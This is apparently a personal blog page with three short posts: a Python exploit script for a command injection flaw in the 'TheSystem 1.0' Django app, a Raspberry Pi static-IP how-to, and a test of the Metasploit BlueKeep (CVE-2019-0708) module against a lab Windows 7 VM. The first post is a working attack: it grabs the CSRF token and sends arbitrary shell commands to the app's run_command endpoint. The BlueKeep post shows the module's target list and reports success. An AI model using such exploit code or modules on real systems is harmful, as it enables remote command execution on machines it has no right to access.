TheSystem 1.0 – Command Injection Exploit

just for fun and practice purpose to write this exploit for ” TheSystem 1.0 – Command Injection

# Exploit Title: TheSystem 1.0 - Command Injection 
# Exploit author : chako
# Date: 2019-10-1
# Software Link: https://github.com/kostasmitroglou/thesystem
# Vuln Reported by: Sadik Cetin 
# Original Post: https://www.exploit-db.com/exploits/47441

#!/usr/bin/python
import requests

target = "http://127.0.0.1:8000/run_command/"

cmd = raw_input("Command># ") 
print cmd



while cmd != "exit" :
    client = requests.session()
    # Retrieve Django CSRF token
    csrfcookie = client.get(target).cookies['csrftoken']
    #print csrfcookie

    payload = {'command':cmd,'csrfmiddlewaretoken':csrfcookie}
    response = client.post(target, data=payload,headers=dict(Referer=target))

    if response.ok:
        print response.text
    else:
        print "error code --> ",response.status_code

    cmd = raw_input("Command># ") 
    print cmd

How to Set Up a Static IP on the Raspberry Pi

you can run the following command : " sudo nano /etc/dhcpcd.conf "

Simply by editing dhcpcd.conf file and adding the the 
followings(change IP and interface).  
Then the Pi should use the static IP been assigned next time.
interface eth0
static ip_address=192.168.1.70/24

interface wlan0
static ip_address=192.168.1.71/24
#static routers=192.168.1.254
#static domain_name_server=192.168.1.254

Testing Metasploit Exploit Module for BlueKeep (CVE-2019-0708)

About a week ago Rapid7 announced on their blog (Initial Metasploit Exploit Module for BlueKeep (CVE-2019-0708)), they are releasing an initial exploit module for CVE-2019-0708. The current module is targeting x64 win7 and win2008 R2.

msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic targeting via fingerprinting
   1   Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
   2   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)
   3   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)
   4   Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)

I had setup a windows 7 pro version testing machine on my virtual box. Please refer to the following :

It works ! nice 🙂